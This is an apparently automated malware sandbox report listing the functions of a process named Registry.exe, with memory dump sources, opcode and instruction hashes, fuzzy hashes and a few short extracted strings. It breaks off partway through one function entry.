Instruction ID: 3e277704e5e49f2a2d83e1d6b6b80970331058b3f68fbe967e331424e82ca8b8
Opcode Fuzzy Hash: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction Fuzzy Hash: 74F0F030A0E68E8FEB6D9FA088291F93FA0FF09300F0204BED409C50E6DB389554C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89AE61 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d744c8e6c9cc2516152caf9ac9a4fa80caddb3748015305d5d852210f4d93ed
Instruction ID: f9ecf0a752353b85f68bbe1e8547324d8b8f3d968c430f1ae35b78eb0a4560b1
Opcode Fuzzy Hash: 3d744c8e6c9cc2516152caf9ac9a4fa80caddb3748015305d5d852210f4d93ed
Instruction Fuzzy Hash: 7AF03070A0991D4EDFE4DB58C854BAD77B1EB58300F10C6B5800DE2155DE34AEC58F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7726 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b8a1000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ba39d6a8520930bfb272465cee494081059e4f702ab951555f8ad69d57f165
Instruction ID: b7a13aee9c9e6892f623b02924d963014c91e3e926b2b3918f41cff6728ece60
Opcode Fuzzy Hash: 13ba39d6a8520930bfb272465cee494081059e4f702ab951555f8ad69d57f165
Instruction Fuzzy Hash: B4F09835F1851D8ADF18EB94D8A59FDB3B2FF98354B500075E00EA7285DA286901DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89DC92 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89a000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction ID: 1c7b0a85e2cf5d7fcc0116044f4a0d83037e46f113e7029f702264a60517b1a2
Opcode Fuzzy Hash: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction Fuzzy Hash: B1F0D431A1510D8FDB18DF84D4A09ECBBB2FF88311F65012AD40AA37A0DB786941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89FD0E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B89F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b89f000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ba5b9bb0a3318fabb3871e916dc41216f28f6586b8174a555e36ee3734f98d
Instruction ID: 7923eccc506d6e20e108d761a9e6634b9af356e690f2bd284d3b766a29dcfce1
Opcode Fuzzy Hash: 72ba5b9bb0a3318fabb3871e916dc41216f28f6586b8174a555e36ee3734f98d
Instruction Fuzzy Hash: AEF09874E0565D8FDBA4DF54C8A17ED7AB1AF98300F1081AAD00EB2291CE342E818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8911B6 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction ID: 0573f59e67d755a12b3bc8a43b1d12653ef49cf4f6ee4aca3bb205c923268f02
Opcode Fuzzy Hash: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction Fuzzy Hash: 73C01231D2164E8ADB58AB90A8214FDB260FB48204F401462E42CA3092EF3026108680

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B89387E Relevance: 5.1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

Strings

0R^I, xrefs: 00007FFD9B893944
8R^, xrefs: 00007FFD9B8938D4
.R^I, xrefs: 00007FFD9B893954
/R^I, xrefs: 00007FFD9B893924

Memory Dump Source

Source File: 0000001F.00000002.1819304517.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffd9b890000_Registry.jbxd

Similarity

API ID:
String ID: .R^I$/R^I$0R^I$8R^
API String ID: 0-1790200200
Opcode ID: b8f887c83bb028b059d417cab7cfb1d8065eacb078eb3b694c9093168c3c6f96
Instruction ID: ee6dbfc820aa5169fb7ce5d54ed1fe5882654ef8e4102a3d4c52debe121bdfd6
Opcode Fuzzy Hash: b8f887c83bb028b059d417cab7cfb1d8065eacb078eb3b694c9093168c3c6f96
Instruction Fuzzy Hash: 2931D55260F7D70FEB2387B90C262657FA4AF5724475A40FBD0D4CB0E7D209AA0B8392

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Registry.exePID: 7224, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B883ED9 Relevance: .9, Instructions: 862COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6cdb41bac4166f290a031f17aee9b127c1791ec4895c0b84eea3135d4ff86c6
Instruction ID: 05359bc1dd1beec69e159ffbbd3f5ae1c0310540ca21d17a3ed262a3d2098810
Opcode Fuzzy Hash: b6cdb41bac4166f290a031f17aee9b127c1791ec4895c0b84eea3135d4ff86c6
Instruction Fuzzy Hash: E662973190EBCE8FE7669B6488695F97BF0FF19300F0905BFD858C61A2DA786644C742

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B883398 Relevance: .8, Instructions: 833COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9972f22b227d0f57a95c97d03c07a08b80930dd09ff63be8574a28d89316f01a
Instruction ID: b15326fc78ea99c2a09e0f9d9ea755401bc0d4189b96ff149971a516b9d052de
Opcode Fuzzy Hash: 9972f22b227d0f57a95c97d03c07a08b80930dd09ff63be8574a28d89316f01a
Instruction Fuzzy Hash: BF52A431A0EA8E8FEB55EB6488695B97BF0FF19300F0505BFD429C71A6DA38A644C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B884048 Relevance: .7, Instructions: 716COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b401754e6f2e4d6add063d4173695108c9ab620e9be9246682b6b3cc143cf1f4
Instruction ID: df4ce9ef860109e4348580e7618ed96d0fe8bd5086546f654a5cc75a7c433539
Opcode Fuzzy Hash: b401754e6f2e4d6add063d4173695108c9ab620e9be9246682b6b3cc143cf1f4
Instruction Fuzzy Hash: E1429931A0EB8E8FEB659F6488695F97BE0FF19300F0905BFD858C61E2DA786544C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B88496D Relevance: .7, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0dd201c3948a278ea1311c79931d8c68aba776af795fe4cbb85dfcd072a843
Instruction ID: e69f0b8fef9fd11e92bf510e2696e9cb1c10b771461dddfa52d8e765e33f0c58
Opcode Fuzzy Hash: 7a0dd201c3948a278ea1311c79931d8c68aba776af795fe4cbb85dfcd072a843
Instruction Fuzzy Hash: C8329331A0EA8E8FEBA5DF6488696FD7BF0FF19300F0505BED429C71A6DA3865448741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B88356F Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768ce5299731aff28f118835ef9ea846bd83291cc5db69214a7678a4e83fd176
Instruction ID: ee517a3bb4de8f51590ebb3834761e20caf0a6c7766feeba1b013ae17b018e36
Opcode Fuzzy Hash: 768ce5299731aff28f118835ef9ea846bd83291cc5db69214a7678a4e83fd176
Instruction Fuzzy Hash: 3A02D671B0992D8FD765FBA8E8647EC77A0EF88321F0044BBE05DD7192DE3459858B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8733B8 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4a3f7571dfa06e61a3ba55b38f8264cbc984a0ab8605d4c8c6032e3de2f10a
Instruction ID: 9d02ca9f226a7da7cc46284e093b899f67784e6349df2144329610cdbf0bb3ff
Opcode Fuzzy Hash: ca4a3f7571dfa06e61a3ba55b38f8264cbc984a0ab8605d4c8c6032e3de2f10a
Instruction Fuzzy Hash: 69F1F231A0DA4E8FEB59EB68C8647E97BE0FF59304F4101BAD009C72E6DB756646C702

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B884AA0 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73565cc29308db89cf2c31f509aff485527c44f99c578410c13253fafbcedba9
Instruction ID: 4de3fa5a6c7272a0331604aa12b79a0ec6bcf0fb0191f41bdac7025b6084add8
Opcode Fuzzy Hash: 73565cc29308db89cf2c31f509aff485527c44f99c578410c13253fafbcedba9
Instruction Fuzzy Hash: CBF1E231A0AA4E8FEB95EF6488696F97BF1FF19300F0505BED429C71A2DE34A644C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87AAA0 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d3c9cc89042623df7274176c511f20f483b46b6fd4f5ad13b01a6a69b187be
Instruction ID: 60c75066cc9c0fb80b0df5ef8748dac4178880157cc9de0121ca9def4bd83f69
Opcode Fuzzy Hash: b1d3c9cc89042623df7274176c511f20f483b46b6fd4f5ad13b01a6a69b187be
Instruction Fuzzy Hash: BCE19230A0AA4E8FEBA5EB64C8696F97BF1FF19300F0105BAD41DD71A2DE346644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87A4AD Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5251fe90ba041a881f705833d81b30021611de3cc1f88c37e297fc64a9eb587a
Instruction ID: 4f536bf306a22fe2019a538f00fc2282a8be9996e87367c9a07c7a9151a90554
Opcode Fuzzy Hash: 5251fe90ba041a881f705833d81b30021611de3cc1f88c37e297fc64a9eb587a
Instruction Fuzzy Hash: C9B1B230A0A68E9FD756EB74C8A95F97BF0FF19304F0645BBD419C70A6DA38A644CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87A7E8 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df9adab0d70353cc18d3f1797823a4aaa1e94f728de43613c863d5b0282bc5d
Instruction ID: e84721385d0f92ba38028b173ed9794522defe1d6e5676e187f9e0a291c8a043
Opcode Fuzzy Hash: 6df9adab0d70353cc18d3f1797823a4aaa1e94f728de43613c863d5b0282bc5d
Instruction Fuzzy Hash: ECB19A30A0964E8FDB55EFA4C8656FA7BB1FF18304F1105BAD42AC31A6DB38A644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87E9AA Relevance: 5.1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD9B87E248
], xrefs: 00007FFD9B87E9E1
^, xrefs: 00007FFD9B87EA41
@, xrefs: 00007FFD9B87E2C2

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID: 0$@$]$^
API String ID: 0-3352198554
Opcode ID: 737a680816f67fdbb81378dd13c9ff80f512be9001b9e172b424cbb8bfe0fb3b
Instruction ID: 7e699f94dc8247628e5411308426f0479f7d7fa6e78571259efb8065d9765f6b
Opcode Fuzzy Hash: 737a680816f67fdbb81378dd13c9ff80f512be9001b9e172b424cbb8bfe0fb3b
Instruction Fuzzy Hash: 1741D570E0966D8FEB68DF55C8A47E9B7B1FB58305F0041AAD00DA3291CB785A80DF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87E204 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD9B87E248
@, xrefs: 00007FFD9B87E2C2

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 7a187a2443dcf3a444a5970b0962416a27b51124729ccd3ed2ca459e5dedee70
Instruction ID: 92933b3cc4843ad9f1fc0c0127ff7d75155a95de44fb314ff2ad538309f14f14
Opcode Fuzzy Hash: 7a187a2443dcf3a444a5970b0962416a27b51124729ccd3ed2ca459e5dedee70
Instruction Fuzzy Hash: 6B21D870E0962D8FEBA4DF54D8A4BE9B7B1FB58305F0041E9D00DA3295CB789A81DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87D420 Relevance: 1.8, Strings: 1, Instructions: 563COMMON

Download Yara Rule

Strings

NO_H, xrefs: 00007FFD9B87D66E

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID: NO_H
API String ID: 0-1684910806
Opcode ID: d2f38f0bd1f891e3806c8ac26a3241fc0eb4875cc6ba553cb58d3cef0ab9a514
Instruction ID: 205034f8b15d49f8c0b246b36d928d323457f1bc3d13d3090906a04ef885e160
Opcode Fuzzy Hash: d2f38f0bd1f891e3806c8ac26a3241fc0eb4875cc6ba553cb58d3cef0ab9a514
Instruction Fuzzy Hash: 1F129E70E1964E8FEB69DBA8C8A47B8B7F1FF18304F0501BAD41DD71A2DA386941DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87E327 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

{, xrefs: 00007FFD9B87EDE2

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID: {
API String ID: 0-366298937
Opcode ID: f0562aa378b0807b4402d7890b891ca99c0ea6855349dea4f77934a77178891b
Instruction ID: cf7839c65f4bdb48be94dc7ac07172963f0b8b176326aa07fd7e9cadb191e4de
Opcode Fuzzy Hash: f0562aa378b0807b4402d7890b891ca99c0ea6855349dea4f77934a77178891b
Instruction Fuzzy Hash: F6311470A1966E8EEB74DB55C8947F9B7B1FB58309F0101FAD00D972A1CB386A84AF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B880EBB Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

", xrefs: 00007FFD9B881221

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 2895d75063f245814545767cf5b61e7e9b36214d92f3ada08365744ca6862fb2
Instruction ID: 004cf1f1c23bff2a74b36729829ec603f22af4a78540585d06f232d25684920d
Opcode Fuzzy Hash: 2895d75063f245814545767cf5b61e7e9b36214d92f3ada08365744ca6862fb2
Instruction Fuzzy Hash: 6E21C470E0961D8BDB64EF94C8A4BECB7B1EB58305F110169D01DA72A5CF78AA84CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8878C7 Relevance: .8, Instructions: 838COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf94e9bc433c8617d19ee197562db11ff8f3b43bb9cc18f61e44b9dbce0a8fc
Instruction ID: 93cf86cf319f04e344da23bf013aa5ffac659c0cc2956582a691855c87aaf6c7
Opcode Fuzzy Hash: bbf94e9bc433c8617d19ee197562db11ff8f3b43bb9cc18f61e44b9dbce0a8fc
Instruction Fuzzy Hash: 0251AF3494E7CA4FD7568B748C352EA3FB0AF06210F0600FBD458C60A3DA3C6645C352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87C4C0 Relevance: .8, Instructions: 820COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df7364d4c4c87e95764a8f01030dda9960fabcbabc121d7329d414da1e0dd129
Instruction ID: 6720486f23a9ee76894c4e568383fafdd17a1352abfa97a7bbe5865380b15735
Opcode Fuzzy Hash: df7364d4c4c87e95764a8f01030dda9960fabcbabc121d7329d414da1e0dd129
Instruction Fuzzy Hash: 0841C534A4E68E8FEB55DF648C656FE3BB0FF09304F0105BAD429C60A2DA38A604C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B87A830 Relevance: .8, Instructions: 782COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f590f0fe9c9a6146790a635778c5a441c9993793d897e5926d73b7ef903e968
Instruction ID: 1f914fc9c4c645ffcfd1eab853526d57ba43b27c5997d6f1c1e0a9504bc4da58
Opcode Fuzzy Hash: 2f590f0fe9c9a6146790a635778c5a441c9993793d897e5926d73b7ef903e968
Instruction Fuzzy Hash: 5531A134A4A68E4FDB59DB74C8696B93BB0FF09304F1204BED42AC61E2DA39A644C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B884298 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e048f07d577a330f470d2bddd79a9b2ba522efa5c34b88dd276124363e9cad56
Instruction ID: 692f721d555dd04ddfae588c21ff39e9ee0646149c32a539a869dc4f397f8634
Opcode Fuzzy Hash: e048f07d577a330f470d2bddd79a9b2ba522efa5c34b88dd276124363e9cad56
Instruction Fuzzy Hash: 51129931A0EB8E8FEB65DF6488695F97BE0FF19300F0505BED868C61E2DA786544C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B882F42 Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413eae1c9998dfd12a8e8dd0ff683f19bad7a578f6f9aa2542c91d45be832ca7
Instruction ID: 082dfb3bb49cf8688076aa7c319a8660b98262e5a2aa31fe50fa266abe54e1e3
Opcode Fuzzy Hash: 413eae1c9998dfd12a8e8dd0ff683f19bad7a578f6f9aa2542c91d45be832ca7
Instruction Fuzzy Hash: 70513B52A0FADB5FE7335BA84C351A97BA0FF16211B4904F7D4A8CB0E3E924A909C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8833C0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 517243c7a95277fda99a6c66a27154cf94175574efc09987d2abef98a807d1e5
Instruction ID: 97963472e6cdfa20c29c23342bed15a430c49836f31d4934342745b614841e38
Opcode Fuzzy Hash: 517243c7a95277fda99a6c66a27154cf94175574efc09987d2abef98a807d1e5
Instruction Fuzzy Hash: 8C12AA31A0EB8E8FEB65DF6488695F97BE0FF19300F0505BED858C61E2DA786544C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B884B39 Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2b724dbe57de62b1740304785d99a5ee549bd298be5a99627b702bab6868c1
Instruction ID: 17aa9204789aa0678466d8d8579eb5fcc59d8e48cac812ee63e1abe6eed996fe
Opcode Fuzzy Hash: 9a2b724dbe57de62b1740304785d99a5ee549bd298be5a99627b702bab6868c1
Instruction Fuzzy Hash: 51F19371A1AA8E8FEBA5DF6888696FD7BF0FF19300F0505BED418C71A2DA3865448741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8843C8 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54563618b7008af68d851874ca2fec91b15ed5a7dc82a4d64961155775ddc97d
Instruction ID: 14c838237f3468626722f424772dab0eac9a68d25e91d201488315e971381a80
Opcode Fuzzy Hash: 54563618b7008af68d851874ca2fec91b15ed5a7dc82a4d64961155775ddc97d
Instruction Fuzzy Hash: 1DE1A931A0EB8E8FEB65DF6488795F97BE0FF19300F0505BED868C61E2DA7865448742

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B885AC1 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3579903123dd8c8abbfb3c064e755a9042cabf9212ec3b5af8aba8fc7731f9bd
Instruction ID: e264dc240ab5b30644b1b8a398f474a27a095f2760826d65f1e5a194b2911040
Opcode Fuzzy Hash: 3579903123dd8c8abbfb3c064e755a9042cabf9212ec3b5af8aba8fc7731f9bd
Instruction Fuzzy Hash: 17D18470E0EA8E8FEBA59F6488696F97BF1FF19300F0505BAD458C71A2DB3856448B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B872C84 Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40910ee2ea7e71001df0d8ac192d3f8050162847af8d250b3a81f5eab320b179
Instruction ID: a048f1a4ff00c72ebd60a9a1bc43129ba2912697cd166558fa209c4a5aed4084
Opcode Fuzzy Hash: 40910ee2ea7e71001df0d8ac192d3f8050162847af8d250b3a81f5eab320b179
Instruction Fuzzy Hash: E2C1C731A0F64E4FE761EFA4C8A89A97BF0FF5A314F0605B6D418C70B6DE38A6449741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B872135 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57de1445b7b223732b7fd78d3778fe610a0fd1a43429df2958ddd5d148cc77f8
Instruction ID: 628d2baea5be88c3d3470730e1375ad74176963475d3122936ea95a58b28e79d
Opcode Fuzzy Hash: 57de1445b7b223732b7fd78d3778fe610a0fd1a43429df2958ddd5d148cc77f8
Instruction Fuzzy Hash: 81B1C630E1F65E8FEB64DFA4C8A16B8B7A0FF4A304F0541BAD04DD71A2DE386A459741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B881E68 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1828050590.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9b870000_Registry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ea687380e4002237779b9b36b9ba67c045ac4ff998777c4aac88f5ae2de3777
Instruction ID: 1d37348645787d58a20e16101662ff51dd4950c41e0201007b46543f0157e06c
